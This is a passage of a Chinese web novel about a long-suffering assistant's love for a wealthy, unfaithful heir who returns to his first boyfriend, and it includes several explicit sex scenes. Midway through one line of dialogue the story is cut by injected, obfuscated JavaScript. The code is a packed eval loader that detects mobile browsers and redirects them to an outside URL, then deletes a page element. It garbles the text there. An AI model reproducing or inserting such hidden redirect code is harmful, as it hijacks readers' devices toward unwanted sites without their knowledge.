眼看我露出无语的神情,宋逸舒凑过来亲了我一口,甜甜地说:“你也大,所以我也爱你。我可是因为他打你才跟他分手的,你可要爱我一辈子哦。” 我笑着点点头。 他不轻不重地拍拍我脸,略带遗憾道:“你要是当年多读点书就好了。” 我笑容僵住,外面扑进副驾的风扯得我伤口一阵一阵地疼。 他在…… 嫌弃我。 9.第 9 章 宋逸舒那一顿高尔夫把周博打得据说要在医院躺小半年。 周家父母要宋逸舒给一个说法,但实在拗不过瘫痪在床的恋爱脑儿子据理力争,说全是他的错,让父母千万别怪宋逸舒,还企图用这点良心发现后忏悔让宋逸舒去医院看看他。 奈何这个时候的宋逸舒已经对夏医生产生了兴趣,根本没有时间理他。 “你说,我穿这件好看还是这件?”宋逸舒指着保姆手里的两件衣服,笑盈盈地问我。 “那件酒红V领的衬衣,”我规划着宋逸舒今天的行程,“夏医生应该会喜欢,上次他说他喜欢你穿红色。” 宋逸舒无聊地卷着头发,说:“我干嘛要他喜欢?我是打完高尔夫才有空见他又不是直接去选美,V领就算了,一大帮子中年男盯着我胸口看,死变态。” 我:“……” 他最终决定,要了保姆手里的另件浅蓝衬衣。 保姆去宋逸舒衣帽间找饰品、腕表,宋逸舒拿开我手里的平板,蹭到我腿上坐着,说:“你伤怎么这么快就好了?我想见夏医生都没借口。” 我搂住他细的几乎可以一掌握住的腰,说道:“你可以把我脑子打破,这样你们就能再见面了。” 他趴在我肩头,很是认真地说:“伤害你的事情,我可做不出来。” 我心里高兴又激动,贪婪地把头埋进他充盈着清淡幽香的颈肩。 宋逸舒被呵护着长大,从头到脚,无一不是精致完美的。 就连头发丝都带着一股能把我深深吸引进去的香气,我曾问过他用的什么洗发水,我也想买一瓶回去。 宋逸舒撩了把顺滑、乌黑的长发,无辜地说:“我没用什么精油啊,或许这是公主自带的体香吧。你这种凡人,是无法理解的。” 我深深在他颈肩吸了一口,心想。 ——确实好香。 陪宋逸舒与几位老总打完高尔夫回来,按照计划,他是要去见夏医生的。 但他丢了手机,扑到我怀里说:“开房去。” 我说:“不是去找医生吗?” 宋逸舒道:“他说他加班,让我等他。” 我知道,宋逸舒是在不高兴了,他讨厌等别人,也讨厌别人不按照他的计划行事。 我无法拒绝他的邀请,开了个酒店。 一进门我就将宋逸舒拥在怀里吻,他接吻时喜欢我吮吻他的舌尖,那点巧舌被我抵来推去,惹得他低吟一声如一滩水般虚软在我怀里,眼神涣散,险些站不稳,最后只得伸出手臂攀着我肩才勉强站稳。 他比我矮许多,身量又格外清瘦,迎起我强烈的吻还得垫脚,我一手护着他后脑,一手在他白滑的肌肤上摩挲。 他今日穿得衬衣早被我扯乱了,我挑开他的皮带,促狭地笑:“怎么穿的这个?” 宋逸舒已被我吻得意乱情迷,泪花珠子挂在浓密睫毛上,束好的长发凌乱散在肩头,靡艳风流。 他揪住我的头发,小脸通红地说:“还是粉色呢?看不看?” 为了贴合西裤的走势面料,宋逸舒今天穿的是双丁内裤,即能完整的展示臀部曲线,又不会让内裤边缘印在西裤上的尴尬事情发生。 且这种内裤唯一的一个好处就是,不用脱。 我解开宋逸舒的皮带,见冰冷的衬衫夹将他白腻腿肉勒出一些肉感,心里那股火瞬间升起来。 我骂了句脏话,把宋逸舒抱的更紧,整个身躯几乎把他压进墙壁里,说话时的声音哑得发火:“你穿成这样做什么?!” 他薄而匀的眼皮半垂着,唇瓣嫣红,似是春日花圃中开得最艳丽的花,声音也软绵绵的跟撒娇一样:“我怕我忍不住,找你打野|站啊。” 我骂他是*货,他也不生气,只是吻住我唇,另只手解开我衬衣。 跟宋逸舒这几年,我生活作息保持得很好,不仅健身学做饭,指甲也是按时修剪。 毕竟只有把基础工作做到位,才能在面对突发情况时,从容应对。 宋逸舒说我放古代,应该像大禹那样。 我们在门口做了一次,然后我像给小孩撒尿一样抱着他离开门口。 混乱结束后,宋逸舒瞳孔涣散,雪白肌肤呈现出一种成熟的粉色,靡艳俏丽,他乌黑头发被汗润开,铺在沙发上犹如海藻般,盛着酒店灯光,泛着粼粼波光。 我等他眼睛聚了光,亲昵地吻他唇角:“小舒,我爱你。” 他揪起我的头发,湿漉漉眼眸看了我一会儿,给了我一个软绵绵的巴掌,笑道:“我被你*溺了,你不爱我还想爱谁?” 我在他颈间蹭来蹭去,他抱着我说:“你以后不许让我等你,不然我就找别的男人。” 我亲吻着他脸颊,郑重地“嗯”了声。 他断断续续吻着我脸颊,我们俩像丛林之中的原始野兽,不断汲取着彼此身上味道。 他在耳边气若幽兰地说:“再来一次。” 我说:“酒店的用完了,我下去买。” 他晃了晃勾着我脖颈的手臂,说:“你不戴也行。” 宋逸舒对安全意识要求很高,他以往那些男人都被要求每次做措施,只有我,会被偶尔特许不用。 又一通做完,外面天已经黑了,我抱着宋逸舒躺在沙发上,他趴在我胸膛上,安静地熟睡。 没有了周博和那些乱七八糟的人在,宋逸舒终于只属于我一个人。 茶几上,宋逸舒的手机来了条消息。 我壮着胆子摸来看,是夏医生的。 夏医生:【我下班了,要一起吃晚饭吗?我知道有家海胆很好吃。】 我摇摇宋逸舒:“夏医生问你要不要去吃饭,他知道有家海胆很好吃。” 宋逸舒揉着朦胧眼眸,在我胸膛上跟小猫一样蹭:“哪家?” 夏医生发来一个地址,宋逸舒看到后说:“你带我去,我饿了。” 我笑了起来,细密、珍重地吻着他唇,他嘤咛地打开我说:“你讨厌。” 我们穿好衣服,开车去了夏医生说的那家店吃饭。 吃完饭,宋逸舒心情好了不少,挽着我手臂在江边慢慢散步。泛着粼粼波影的水面倒映出霓虹世界,我和宋逸舒沿着江边走了许久,最后他不想走了,我背起他去停车场。 他趴在我肩头,说:“你知道你比夏医生好的优点是什么吗?” 我托着他紧致饱满的屁股,笑着说:“是什么?” 他亲了我脸颊一下,说:“因为你听我话。” 我想也是,这是我唯一个在宋逸舒面前能拿出手的优点。 那天以后宋逸舒有许久没有提过夏医生,我想这个夏医生应该是宋逸舒这里除名了。 只因夏医生这种类型的男人,宋逸舒已经玩过好几个了,对于一个放他鸽子的男人,宋逸舒是不会喜欢的。 深秋在不知不觉中到来,我和宋逸舒的关系也越来越好,他最近大半个月都住在了我家。我们像一对处在热恋期的恋人,时时刻刻粘在一起。 我看着邮箱里的简历,头疼道:“我不会招聘。” 宋逸舒躺在沙发上打游戏,一头墨发用前几天我们去苏州逛古镇买的木簪子簪稳,因为游戏打激动了,有几缕发丝散在耳边,看起来慵懒又俏丽。 他说:“难道让我来?小曾这该死的,关键时候出车祸伤了腿,否则我怎么会再招一个助理呢?” 金牌助理我对宋逸舒来说其实是够用的,奈何我白天上班,晚上暖床,宋逸舒觉得我太辛苦,后面才招了小曾作为我的助理,现在小曾还有段时间出院,宋逸舒怕我累着,所以准备临时找男助理一个顶替会儿小曾的工作。 我看着满屏的双一流高校毕业生,嘴角抽搐道:“今年就业形势很严峻吗?硕士都来应征。” 宋逸舒跨着大长腿坐到我身边,双手环住我肩,说:“因为我工资开得高啊,工资低谁来啊。” 他拿过我鼠标开始一封封看简历。 “这个太丑了不要。” “这个眼睛怎么一大一小不要。” “这个长得是好看,可看上去一脸肾虚,不要不要。” “这个长得是不错,就是发型不好看,不要。” 我听得震惊,说:“你这是看助理还是选男模?” 宋逸舒手指捂住嘴唇,眨了眨眼睛:“我以为在淮海国际呢。” 我:“……” “唔……就这个吧,长得不错,知名高校毕业,拿过篮球冠军,练过田径,不错不错。” 我实在不明白这些人为什么要把读书时候拿过篮球冠军的事写在简历上,是想找到一个志同道合的领导一起打篮球吗? 可惜了,遇到宋逸舒,只会被当做篮球玩一番,玩腻了就结束了。 新来的助理叫顾兴飞,成熟稳重不说,长得也是俊朗帅气,一来公司宋逸舒就对他另眼相看。 不管是参加商会、酒会还是约见老总,宋逸舒都带着他,惹得公司里一度传出我要失宠的消息。 对于这个结果我已经见怪不怪了,宋逸舒知道分寸不会玩下属的,多半是看这个顾兴飞新鲜,当作一个打发时间的乐子。 也就是趁这个时候,我清闲不少,听从小曾的建议,先报了个电大中专学建筑好拿高中毕业证,同时自考成人大专。 否则宋逸舒身边的助理一个学历牛逼到天,一个连高中毕业证都掏不出来多丢人。 大专课程多是线上自学,我高中那点底子还在,学起来不怎么费力。 学习时,宋逸舒会过来找我玩,看我看书学习,有些不悦,坐到怀里说:“成年人了还要学习啊?来陪我玩嘛。我可以养你一辈子的。” 我笑道:“这个很快就学完了,这几年一直没时间,现在好不容易有了点空,让我考个本科怎么样?”我亲了亲他的眉心,说:“乖。” 宋逸舒哼了声,跨坐到我怀里,下颌垫在我肩头,晃着两条腿玩手机。 我察觉到他不高兴了,但我只想缩短一点我与他之间的距离。不然他总有一天会嫌弃我一无是处而离开,到那时,我什么都没有。 我不想离开他。 担心宋逸舒生我气,我还是放下笔,关了电脑说:“今天看够了,小舒,我陪你看电影怎么样?” 他偏头狡黠地看我一眼,说:“不学习了?” 我捏捏他的脸,宠溺道:“你比学习重要。” 他明媚地笑起来:“你也很重要。” 我不知道我在宋逸舒心里重不重要,只知道我们现在像情侣一样爱着彼此。 他说他很爱我,我也得很爱他,我毫不犹豫地答应。 就连宋家父母都看出儿子这段时间没有在外面乱搞,怀疑宋逸舒是不是被人引得收了心,问我他是不是恋爱了? 我不知该怎么回答,只模棱两可:“嗯。可能是恋爱了。” 跟我恋爱了。 跟宋逸舒恋爱的现实让我沉浸在甜蜜里,可我发现这种甜蜜很快消失了。 不知何时,宋逸舒晚上很少过来,过来也是找我上床,甚至有天晚上睡完直接走了,而工作上的事情他也大部分交给了顾兴飞,我只负责做一些后勤工作。 我一下子从天堂跌到地狱,巨大的反差使我强迫自己认清现实。宋逸舒不过是恢复了正常而已,不然你一个高中没毕业的还真想跟人家谈恋爱? 我这样骂自己,可骂完之后,又奢望宋逸舒能在乎我。 有天晚上我做好饭,看到宋逸舒回的马上回家消息高兴不已。 我已经四五天没见过他了,这几天上班他都不在,只有今天要下班时,才发了条消息让我做饭,他晚上回来吃。 我处理好工作就去超市买了他最爱吃的鱼和虾做上,为了不耽误晚上陪他,网课我都没看,他不喜欢我看网课不陪他。 晚饭做好是七点多,我等在桌前斟酌会儿发了条消息问他什么时候回来。 【马上。】 就是这两个字让我从七点等到了十二点。 凌晨十二点接近一点左右,宋逸舒终于回来了,我看他一脸疲惫,眉宇间夹着忧愁,有些担心:“晚饭吃了吗?” 宋逸舒脱了西装外套扔到我怀里:“吃了。” 我闻见他衣服上有股浓烈的酒味还有一丝不属于他的爱马仕大地香。 宋逸舒脱下马甲,看我愣着,蹙眉道:“站着干嘛?给我放洗澡水去。” 我捡起马甲,思索片刻说:“你跟谁吃的饭?” 他听到我的问题,显然很意外,冷冷道:“我做什么见了谁都要跟你汇报吗?你谁啊?” 我早知道他的脾气,想着自己还是多余问了,怎么就能因为听多了前些日子小少爷的情话,就真把自己当男朋友了。 看我脸上还有些许怀疑,宋逸舒踹了脚茶几,怒道:“老子想来躲躲清静,你也要烦我?你是个什么东西,配问我去做了什么吗?” 他扯过我怀里的衣服想走,“看到你这样我就来气,早些年干什么去了。” 我死死抓住衣服,卑微地牵住他手说:“我不问了,只是担心你。” 他甩开我的手,明眸打量我一番,语气软了下来:“有什么好担心的,我又不会死。” 宋逸舒洗澡时,我默默把整桌饭菜收进冰箱,他不吃我也没有胃口。 宋逸舒应该在泡澡,我把他衣服放进洗衣机,清理口袋时,意外摸出一张酒店房卡。 我握着这张冰凉小巧的卡片,似乎还能闻见衣服上的香水味。 那香水味道很淡很轻,能够让我想象出这主人是个什么样的成功人士,会是谁呢? 宋逸舒身边最近又出现了谁? 我百思不得其解,压下心里的酸涩和苦闷,把房卡收进一个篮子,那篮子里已经有十来张房卡。 洗衣机开始工作,我靠着轰隆转动的洗衣机,无聊地数着篮子里的房卡。 什么时候…… 什么时候宋逸舒会不再给我一个这种惊喜呢? 我给宋逸舒吹完头发,他心情似乎好了些,抬起被水汽氤氲得潮红的脸,说:“后天我要去一趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286928|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香港,你处理好公司的事。” 我收吹风机的手一顿,说道:“谁陪你去?” 他答道:“小顾。” 顾兴飞? 我不由回想起那丝香水味和房卡,望着宋逸舒单纯可爱的脸,最终还是没有问他是不是把小顾睡了,而是点点头说了个“好”。 半夜的时候,宋逸舒滚进我怀里,我下意识抱住他发现他浑身光溜溜的,肌肤犹如上好的羊脂玉光滑细腻。 他手摸进我衣服里,轻声道:“我好爱你啊,你爱不爱我?” 我低头轻柔、虔诚地吻住他唇:“爱。” 他轻声呢喃着我的名字,仿佛爱人之间的呼唤,一声又一声,唤得我心跟抹了蜜一样。 那些房卡不过是他在外打发时间的玩物罢了,他终究还是爱我的。 宋逸舒去香港出差,我终于有时间看书学习,考成人大专的同时,我还准备了点会计方面的书,所谓技多不压身,多看两门学点东西也不是坏事,将来要是被宋逸舒开了,我还能找个公司做财务。 有天中午吃饭时,我的手机同城的财经消息弹出一条。 【成温集团继承人宋XX夜会男友,对方疑似华安基金高管!】 我看了眼日期,正是我做好饭等他的那天晚上。 狗仔不知是藏在哪里拍的这组照片,模糊得跟了十八层马赛克一样,宋逸舒的脸和那个高管也被打了重度马赛克,尽管如此,深秋街头的朦胧灯光也清晰勾勒出宋逸舒优越流畅的脖颈线条,他西装革履,身材修长,长发飘逸,被一个高大伟岸的男人抱着。 隔得很远,我看不清宋逸舒的神情,只能凭借他揽住那男人背的手判断,他没有拒绝或者说这个男人大概率已经爬过他的床。 我心脏一阵刺痛,明知那天晚上宋逸舒跟别人幽会了,我还是忍不住难受。 高管吗? 难怪会用那种香水。一瓶那么贵,够我一个月生活费了,纵然现在我工资不错,但还要还宋父和当年亲戚们的钱,宋逸舒有时出门买东西也是我给钱。 我总认为,给他花钱,看他高兴,我这钱就花的值。 瞧着眼前不到三十的外卖,我瞬间没了胃口。巨大的经济落差和身份地位让我明白,我和宋逸舒一直是两个世界的人。 宋逸舒在香港待了一周多,回来的时候我去接他,但奇怪的是顾兴飞不在。 我问:“小顾呢?” 宋逸舒玩着手机,脖颈被米白色高领毛衣遮住,只露出下颌线,答道:“家里有事回去了,” 去了趟香港回来,宋逸舒整个人有种说不出的烦躁,他带我去了他家,缠缠绵绵的做了一场。 做完后,宋逸舒趴在床上,被子恰巧盖住他弧度饱满的臀肉,墨发散在他赤|裸雪白的背脊上,遮住我留下的吻痕。 他看了眼为他整理行李的我,懒散道:“那个黑色盒子是我给你买的礼物。” 我笑道:“还有礼物?” 宋逸舒脸颊绯红,说话声音软得很:“当然了,你对我这么重要。” 盒子精巧包装别致,里面是一条深蓝色的领带。 宋逸舒手撑着下颌,笑意嫣然地问我:“喜欢吗?” 他的语气懒散又带点雀跃,像是在期待我的回答。 那些我在新闻上看到的消息随着这条领带的出现全部消失,我发自肺腑的回应:“喜欢。” 宋逸舒又搬回了我家,只不过他不喜欢我看书。 “你现在这个年纪看书还有什么用?”他优雅地吃着水果,“最好的学习年龄都过去了,不如把心思全部放在事业上。” 我埋头做笔记,说:“不好好学习,你又嫌我学历低了。” 他踩着毛绒拖鞋过来,抱着我肩在我脸上亲了口:“逗你的呢,这么多年了,我说话你还不知道,都是假的。来陪我玩嘛。” 我笑了下,拍拍他的手:“宝宝,给我四十分钟,看完这点书再来陪你。” 他松开我,略显遗憾:“好吧。” 三十分钟后,我听到了他摔门出去的声音。 我记笔记的手停了很久,最终放下笔给宋逸舒打电话。 意料之外,这次生气的他居然在一个小时之内就接了。 不过接电话的是个男人。 “你是?”男人问。 “我是宋总的助理,请问他在吗?”我听到这男人醇厚的声音,不禁想到那个高管。 迄今为止,宋逸舒从没有跟我提过这个人的存在,以往他有什么男人都会跟我说的。 唯独…… 唯独那个高管。 电话那边传来男人很轻的询问:“小舒,电话。” “找我干嘛?”他声音带起怒气,口吻不耐,丝毫不像许久前要我陪他玩的人。 我急切的寻找他,可当找到后我又不知该说什么,憋了半天来了句:“明天要下雨,你多穿点。” 他静了会儿,骂我神经病然后挂了电话。 比起被骂,我更好奇的是那个男人,那个宋逸舒不向我透露的男人。 以往宋逸舒说起结婚、恋爱我都能坦然接受,因为我对他们知根知底,知道宋逸舒不过是跟他们玩玩,可这次。 我感受到了莫名的害怕,宋逸舒从来不会对我隐瞒任何一个男人,除非…… 除非他动了真感情。 我开始打探这个男人到底是谁,可我没想到真相来的那么快。 宋逸舒离开我家的第二天,我在公司加班,今天宋逸舒没有来,公司事情都是我在打理。 九点多,我准备离开公司时,宋逸舒给我打电话。 【你在公司没有?】 【在。】 【去开个门,我让人来拿一份文件。】 【好。】 我放下手头工作去开门,自动门打开那刻,一个我从来没有料想过的人出现在这间寂静的办公室里。 顾天良看到我愣了愣,不太确定地说:“我们是不是见过?” 这声音和身形和那个接电话的高管如出一辙。 我打量着眼前身材挺拔,英俊潇洒的顾天良,许多念头和疑惑瞬间通了,喉咙里仿佛压着东西,吞吐许久后,苦涩开口:“说不定见过吧。你来拿宋总的文件?” 顾天良点头,我找到文件递给他,眼神扫过他伸手时露出的袖扣,说道:“这袖扣不错,配货才能有吧。” 顾天良笑了笑:“你们宋总在香港买的,好像是配货,不过配货的那条蓝色领带我不喜欢。” 他拿着文件轻松离开,唯独我站在原地大口大口地喘气,仿佛这样才能缓解心脏处传来的密密麻麻痛。 不是早就习惯了吗?知道了吗? 宋逸舒和谁睡觉都是睡,我有什么资格管?只是……只是当看到顾天良那个曾经让宋逸舒出柜的男人,我那些建立在别的男人面前的可笑大度,又灰飞烟灭。 不外乎什么,只因为他是宋逸舒的初恋,他们在一起度过了宋逸舒最美好最单纯的少年岁月。 10.第 10 章 拖着麻木沉重的身体回到家,我浑浑噩噩,感觉做什么都无趣,于是匆匆洗漱一番睡下。 还没睡熟,就听到了开门的声音,我意识到是宋逸舒来了。 下一瞬,刺眼的卧室灯光包裹住宋逸舒修长挺拔的身姿,他看我眯着眼,神情颓然,生气的神色消了些,只有语气略带责怪:“我给你打电话怎么不接?” 我把眼睛睁大,甩了甩头,摸来手机一看,答道:“没电关机了。” 宋逸舒松了松领带,说:“我饿了,有吃的吗?” 比起问顾天良的事,我更担心他身体,掀开被子起来,说:“冰箱里有昨天刚炖的番茄牛腩,我给你煮面吧。” 宋逸舒坐在沙发上,将一缕碎发别至耳后,微笑道:“剩的?” 我说:“昨天你说想吃,我就做了。我没吃过。” 他认真地想了想,似乎是想起我为了学习拒绝他,然后他摔门走的事实,滑着手机笑:“嗯,你吃饭了吗?” 我加水煮面,谎称道:“吃了。” 一碗热腾腾的番茄牛腩面端上桌,宋逸舒吃东西很优雅,像欧洲世纪的贵族,一举一动都充斥着涵养和矜贵。 看他今晚不打算走的样子,我默默去为他放洗澡水,准备睡衣。 表面看这套房子是我的,但内里大大小小的事物已被宋逸舒的身影占据。 情侣款拖鞋、牙刷、睡衣、杯子,甚至他最喜欢的碗碟也是情侣款的。 只要没有别人踏进,在这个房子里我和他就是情侣。 宋逸舒洗澡时,我坐在浴缸边为他洗头搓澡,他闭目躺在浴缸里,长发被抓在脑后,露出俊美清丽的眉眼,热雾蒸得他白色肌肤透着一层红粉,晶莹水珠滑过他温热细腻的肌肤,最终滚入精油浴中。 沙沙洗头声在卫生间响得突兀,宋逸舒忽然睁开眼,眸子湿润:“我打算和顾天良复合。” 就算已经知道了答案,但我还是不由自主的心疼了下,勉强扯起一个笑:“难怪我今天在公司遇到他了。” 他静了会儿,见我脸上没什么神情,哂笑:“他今天为难你了吗?” 我讪笑:“他为难我个小员工做什么?你们复合挺好的,知己知彼,我也很放心。” 他看了我许久,最后伸出沾满了水珠的手臂抚摸我脸:“你真这样想?” 我握住他手,笑道:“嗯。” 哗啦一声,宋逸舒从浴缸里坐起来,捧着我脸,热情地吻我。 我无法反抗和拒绝,迫切地揽住他腰,哗啦一声踩进浴缸,把他抱在怀里疯狂拥吻。 热水溢出了浴缸,宋逸舒伏在我肩头,红着脸小口喘气,指甲在我背上抓揉。 啵的一声。 我收回手,把食指和中指放进他唇瓣间轻微搅动。 他眼波潋滟,眉目风流明媚,若无若无地舔舐我指节。 望他这张春|潮情动的脸,粗着声音问:“我和顾天良谁厉害?” 他吐出我的手,吐着一截嫣红小巧的舌尖慢慢跟我亲嘴。 细细麻麻的舔舐感让我心猿意马,我抬起他艳丽如妖的脸,恍惚地想他是不是戴了人皮面具,否则为什么会这样,勾人心魂。 一颦一笑,一愁一怒都紧紧勾着我的心,令我无法对他生气。 “你厉害,”他像是披了张美颜皮囊的妖魔,坐在我怀里磨磨蹭蹭,很是无辜地说:“要不是你和他心胸狭窄,我还想跟你们一起。他技术没你好,你别吃醋了嘛。” 我又气又急,真不知道宋逸舒这点瘾到底哪儿来的,他在国外玩那对双胞胎玩习惯了是吧?也对,曾有个宋逸舒的前任说他有时候嫌不过瘾,会叫前任现任一起玩,他很享受沉浸在极乐世界的疯狂。 我生气地把宋逸舒固定在怀里,一点温柔都不给,抱着他从卫生间做到卧室。 宋逸舒会在确实受不了时,打我耳光,我望着这个在我怀里喘|息的妖孽。 真想把他*死在我怀里,这样他就不会出轨了。 我不断将他带至云端,无限延长然后掐断,惹得他又哭又叫,软绵绵的声音不断撒娇,发现求饶无用后,小声骂我是坏人。 我受不了他骂我,只好快些结束。 我恨他却做不到*死他,爱他却做不到问初那句。 你跟顾天良和好了是真爱,那跟我是什么? 一切浑噩结束的瞬间,激情褪去,宋逸舒蜷缩在我怀里睡觉,我抚摸着他头发,凝视他睡梦中还微微泛着情红的脸颊,不禁感到无法形容的悲凉。 翌日周五还要上班,良好的生活作息让我在起点多睡醒,见宋逸舒还在睡,我爬起来洗漱一番,调好豆浆机的时间,下楼跑步。 跑到宋逸舒最爱吃的那家蟹粉小笼包和馄炖店里,买了两笼蟹粉小笼包,两碗馄炖,一碗皮蛋瘦肉粥回家。 回到家,我进房间掀开被子,看宋逸舒睡得小脸通红,轻轻捏着他鼻子说:“起床了,今天上午十点有个视频会议。” 宋逸舒梦呓几声蒙然睁眼,看到我笑了笑,伸开双手说:“抱我。” 我照做,抱着他去卫生间洗漱,趁他刷牙洗脸时,我把早餐摆好,豆浆加到糖度刚好等他出来。 片刻后,宋逸舒衣冠整齐,风流俊美地出来,朝我微微一笑:“买这么多?” 我道:“那几个老头子最能说,会不知道要开到几点,早上多吃点顶饿。” 他欣慰的点点头,站在桌边夹了三个小笼包吃了,拿起一杯豆浆敬我:“好吃,我先走啦。” 我错愕道:“不再吃点吗?等会儿我开车送你一起。” 他走过来在我脸上亲了口,笑着说:“我也想,但顾天良在楼下等我,不能让他等久了是吧?” 我登时怔住。 他抱着我晃了晃,撒娇道:“人家忘了跟你说,他约了我吃早餐。”他又在我脸上亲了口:“谢谢老公今天准备的早饭,豆浆很甜哦。” 话音一落,他就像一阵风消失在我的世界里。 我面对一桌双人早饭,无奈一笑。 自己接受了什么样的地位就要接受什么样的结果,顾天良才是他的大房名牌男朋友不是吗? 我默默吃完一桌早饭,换好衣服出门上班。 打开门那一刻,深秋霜风如刀一般扑了我满脸。我感觉眼角湿湿的,随手一抹,发现是泪。 宋逸舒和顾天良复合的事,宋家人目前还不知道,我也问过宋逸舒为什么不让家里人知道。 宋逸舒坐在办公椅里,修长指间转着一支笔,嫣然一笑:“家里人知道不好,他们知道了会催我结婚的。” 我道:“结婚对你来说很可怕?” “结婚了他们就不会允许我跟你来往了,不然影响两家声誉。” 他说的那样真诚又可爱,我一时分辨不出是真还是假,只收好他签完字的文件离开。 才出门就遇到了顾兴飞,他饶有兴致地看我一眼,说:“吕哥。” 我对这个顾兴飞已经做过完整的调查,可笑我没有以前发现,他和顾天良都是一个姓,早该料到这两人会是亲戚的。 我礼貌点头准备离开,他突然叫住我:“吕哥,宋总喜欢什么样的礼物?他马上要过生日了。” 再过半个月就是宋逸舒生日,去年他生日我攒钱带他去了瑞士滑雪。今年他工作忙,提前说好了不出国,我便攒钱又贷款地托外国朋友从一个拍卖行买了一枚他出生那年那月的蓝宝石胸针。 我道:“你问你堂哥不就知道了?” 他哂笑:“他才不会告诉我,何况这么多年过去,他怕也不是很了解宋总了。” 我来了兴趣:“再不了解不是都复合了?” 他摊了摊手:“我一直觉得他心胸没你阔,他啊可小心眼了。我都不明白宋总喜欢他什么,你们相比较,我觉得你对宋总更好些。” 我难得理会这种兄弟相争的事,朝他露出一个皮笑肉不笑的表情,越过他直径离开。 宋逸舒跟顾天良恋爱后,确实没有在外面乱搞,当然也没有来过我这儿。 他生日那天是周六,十二月十二号,结果在周四他便带着我和顾兴飞去日本出差。 上飞机前,我问顾兴飞:“你堂哥是不是在后面悄悄跟着?” 顾兴飞显然很惊讶:“你不要把我堂哥想得龌龊好吧?” 我嘴角抽搐,从初中开始就是个舔狗,从我手里撬墙角,还不龌龊? 他和我同样提着宋逸舒的行李,说:“他顶多在京都开好了酒店,然后躺在床上等宋总。” 我一针见血:“更龌龊。” 飞机越过海岸线,穿过云层落地大阪,再坐新干线到达京都。 寒风嗖嗖,我们终于在日落时分到达酒店。服务员领着我们穿过草木葳蕤的幽静庭院,到了房间,我们三人一共两个房间,我和宋逸舒住一间,顾兴飞一人住一间。 顾兴飞知道自己一个人一间的时候不是很高兴,甚至有点疑惑,但碍于宋逸舒在他还是没说什么,拖着行李箱进房间。 我和宋逸舒住的房间典雅,隔着玻璃窗可瞧见卧室外的氤氲温泉,坐在廊下烹茶看雪,欣赏绿意盎然的枯山水庭院,别有一番静谧、祥和之美。 宋逸舒脱下大衣,扫视一圈房间,说:“这么小个岛酒店还整个干湿分离的温泉。” 我嘴角微微抽搐,收拾好行李,看宋逸舒已坐在蒲团上玩手机,说:“晚饭想吃什么?” 宋逸舒道:“都行。要出去走走吗?” 我说:“五点多了,外面很冷,天黑后人少还不安全。” 他眼也不抬地说:“那我跟顾兴飞去。” 宋逸舒来这儿只是想躲躲清静,落地京都时,顾兴飞跟我说,顾、宋两家父母都知道他们复合,正催着结婚呢。 我不想宋逸舒生日的气氛被打扰,也无法拒绝他,让服务员送了两份晚餐,在酒店吃完后给他穿上黑色大衣、带上围巾、小羊皮手套出门。 出门时,天已经黑了。宋逸舒带我在一个名为四条河原町站的地方下车,沿着河往对岸走。 街上行人三三两两,整座京都被夜色包裹,幽静又孤独。 宋逸舒整个人被包裹在暖绒绒的毛巾里,只露着一张素白明艳的小脸,倩眉秀目,身姿窈窕,一头乌黑漆亮的长发引得路人频频侧目,有几个胆子大的外国旅客还上前搭讪。 但他挽着我手臂,莞尔一笑:“I''m taken。” 那外国旅客上下打量我一番,还是硬着头皮给宋逸舒递了名片,并让我好好珍惜。 烫金名片宋逸舒看都没看就揣进了我兜里,哼道:“我下次戴个口罩出门,省的别人搭讪。” 我笑道:“公主走到哪儿都会被注视,冷不冷?” 宋逸舒把手插进我掌心,说:“你牵着我就不冷了。” 我握紧他的手说:“我们去哪儿?” 他紧紧依靠着我:“不去哪儿,就到处走走。一个人待着太闷了。” 路上宋逸舒很少说话,并让我也闭嘴。 我们俩沿着寂静的道路走了许久,越走路上的行人就越少,街边店铺早早关门,路上空旷的只有我们。 昏黄路灯拉长我们投在地上的亲昵身影,古朴幽森的建筑透露着难以言说的寂寥。 宋逸舒的带跟皮鞋踩在青石板路上,发出清脆的哒哒声。 下青石台阶时,宋逸舒问我:“如果我真的跟顾天良结婚,你会不开心吗?” 我沉默了会儿,答道:“你做的任何选择我都支持。” 宋逸舒倏的停下,我走的快在台阶下,回头,见他在台阶上逆着光。发丝被幽静的昏黄灯光晕成耀眼的金色,白皙姝丽的面容半明半暗,唯独那双蕴含审视的眼眸亮若星子。 他静静地审视我,眸色清冷,远处来的冬风吹起几丝他垂在肩头的墨发,发丝飞舞,黏在他红润饱满的唇瓣上。 我抬手为他捻去发丝,靠近时我闻到他身上清幽、舒宜的香味,恍若寒梅矗立于雪天。 他微微低头飞快地在我唇上一掠,声音像自言自语地呢喃:“你为什么从来都不因为我跟别人在一起生气?” 我轻轻地舒了口气,按住他后脑在他唇上反复雕啄、舔吻,像是要奉上我的真心。 一吻完毕,他脸颊泛起了红,我抚摸他脸颊上那团宛若胭脂的红:“因为你是自由的,他们比我更优秀更好,我留不住你的人,只能靠大度留住你的心。” 宋逸舒莞尔一笑,走下台阶,挽着我手臂,说:“天良跟你一样是个大度的人,他允许你在我结婚后继续陪着我,我们又可以在一起了。” 我在心里鄙视自己,我难道还听不懂宋逸舒的弦外之音吗? 可是以我对他这么多年的了解,他不会因为我收心的,如果他喜欢我,那那条领带又怎么会是配货的呢? 顾天良才是那个应该站在他身边,体面又光鲜的爱人,他们站在一起那样般配。 而我,不过是一个没文凭没背景没相貌的普通人。 沿着街道走了许久,宋逸舒带我进了一家装修典雅,音乐舒缓的酒吧。 老板是个约莫二十三四的清秀男人,看到宋逸舒进来,用蹩脚的中文打招呼。 我有些惊讶:“他认识你?” 宋逸舒解下围巾,脱了小羊皮手套,白嫩掌心放在面颊上暖着:“读高中时我们是同学。” 我做他陪读头两年没有接触过他同学,只有他读大学后期才断断续续接触了几个他前任。 我礼貌地朝老板点点头,在靠窗边坐下,一眼望去能瞧见伫立在璀璨灯光里的寺庙尖。 